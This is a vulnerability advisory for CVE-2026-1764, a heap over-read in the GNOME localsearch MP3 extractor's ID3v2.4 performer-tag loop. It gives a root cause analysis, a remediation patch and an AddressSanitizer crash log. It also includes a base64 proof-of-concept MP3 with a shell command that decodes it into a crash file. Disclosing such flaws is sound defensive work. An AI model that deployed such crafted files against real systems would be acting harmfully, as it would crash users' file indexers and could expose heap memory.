CVE-2026-1764: Localsearch: tracker-miners: gnome localsearch mp3 extractor: heap buffer overflow leads to denial of service or information disclosure when parsing mp3 files

Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)

Description A secondary heap buffer overflow vulnerability exists in the extractperformerstags function of src/extractor/tracker-extract-mp3.c. When parsing ID3v2.4 tags, a missing bounds check allows the loop to advance pos + offset beyond the buffer size (csize). This causes the remaining length calculation to underflow, effectively passing a negative value (interpreted as -1) to gconvert. This triggers gconvert to treat the input as a null-terminated string, leading to a read out-of-bounds in strlen as it searches for a null byte in heap memory.

Root Cause Analysis The vulnerability occurs in the loop that parses performer tags:

// src/extractor/tracker-extract-mp3.c while (pos + offset < csize) { // ... textinstrument = &data[pos]; textinstrumentlen = id3v2strlen (..., csize - 1); // Issue 1: incorrect max len offset = textinstrumentlen + id3v2nulsize (textencode); // VULNERABILITY: No check if (pos + offset) >= csize textperformer = &data[pos + offset];

// Underflow happens here: // If (pos + offset) > csize, then (csize - pos - offset) wraps around to a huge value. // When cast to gssize (signed), this huge value can be interpreted as -1. if (version == 2.4f) { performer = id3v24texttoutf8 (textencode, textperformer, csize - pos - offset, info); } // ... }

When csize - pos - offset underflows and results in -1 (or is treated as such by gconvert internal logic), gconvert calling strlen will read until it crashes or finds a null byte, causing a Denial of Service or Information Disclosure.

Impact

Denial of Service: The strlen function reads unmapped memory, causing a SIGSEGV.

Information Disclosure: Similar to the primary vulnerability, this could read visible heap data if a null byte is found far away.

Remediation Add an explicit bounds check inside the loop to ensure pos + offset does not exceed csize before accessing data or calculating remaining length.

offset = textinstrumentlen + id3v2nulsize (textencode); + + if (pos + offset >= csize) { + break; + } + textperformer = &data[pos + offset];

PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: 22ff0943d674fd14f72b34a9b32191b5

base64 -d <<EOF > reproduction.mp3 SUQzBAAAAAASS1RJVDIAAAAGAAADdGl0bGVUTUNMAAAAB/86VA4/SUVudGVydGFpbm1lbnQgRmlubGFuZCBPeQBBUElDAAMQNwAAAGltYWdlL2pwZWcAAwD/2P/gABBKRklGAAEBAQBgAGAAAP/bAEMABgQFBgUEBgYFBgcHBggKEAoKCQkKFA4PDBAXFBgYFxQWFhodJR8aGyMcFhYII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAA4f8AAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQAAQAAAaQAAAAgAAA0gAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVV//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9VVVVVVVVVVf/7FGThj/AAAGkAAAAIADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVEFHdGl0bGUAAAAABSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6pooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKC2PJCiqOs6Xb6xYtaXbTrExDEwTNE3Bz95SDXzh8X/ALR4b8YfYNI1LU4bX7NHJta9lb5iWyclvYVlVqOnrbQ9TLMuWYVPZKdpb7aW+/8AQ+naK+LP7f1n/oL6l/4DTXVzaWNCcmFpbnogUmVsZWFzZSBHcm91cCBJZAA1NjEyMzQAVFhYWAAAACUAAANNdXNpY0JyYWlueiBSZWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZWFzZSBUcmFka0kAIGMxMjM0NTYAVENPUCsAAC4AAAMoUCkgMjAwOCBTb255IE11c2ljIEVudGVydGFpbm1lbnQgRmlubGFuZCBPeQBBUElDAAMQNwAAAGltYWdlL2pwZWcAAwD/2P/gABBKRklGAAEBAQBgAGAAAP/bAEMABgQFBgUEBgYFBgcHBggKEAoKCQkKFA4PDBAXFBgYFxQWFhodJR8aGyMcFhYgLCAjJicpKikZHy0wLSgwJSgpKP/bAEMBBwcHCggKEwoKEygaFhooKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKP/AABEIAeAB4AMBIgAAEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAVUQ09OCgv/xAC1EABVVVVVVVVVTEFNRTQuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf9kFPCP4QAA+2kAAAAIAAAADQEAACAAAaQAAAAgAAAzgAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVTEFNRTMuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf/7FGThj/AAAGkAAAAIAAANIAAAAQAAAaQAAAAgAAA0gAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVTEFNRTMuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf/7FBcUGBgXFBYWGh0lHxobIxwWFiAsIComJykqKRkfLTAtKDAlKCko/9sAQwEHBwcKCAoT////////////////////////////////////////////////oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQFk4Y/wAABpAgAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVV//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9VVVVVVVVVVf/7FGThj/AAAGkAAAAIADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVEFHdGl0bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYXJ0aXN0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWxidW0AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAMjAyNGNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQk= EOF

Crash Log

➜ localsearch git:(main) ✗ ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file crash-9f27a785fa8a60e9a563634aff924ed6ba00101b

(process:1776601): Tracker-WARNING : 20:04:28.002: No seccomp support compiled-in. AddressSanitizer:DEADLYSIGNAL ================================================================= ==1776601==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x609479fed286 bp 0x7ffddb7fe520 sp 0x7ffddb7fe370 T0) ==1776601==The signal is caused by a READ memory access. ==1776601==Hint: address points to the zero page. #0 0x609479fed286 in runstandalone ../src/extractor/tracker-main.c:269 #1 0x609479fedaa7 in domain ../src/extractor/tracker-main.c:370 #2 0x609479fee475 in main ../src/extractor/tracker-main.c:469 #3 0x787477e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #4 0x787477e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #5 0x609479fde684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ../src/extractor/tracker-main.c:269 in runstandalone ==1776601==ABORTING

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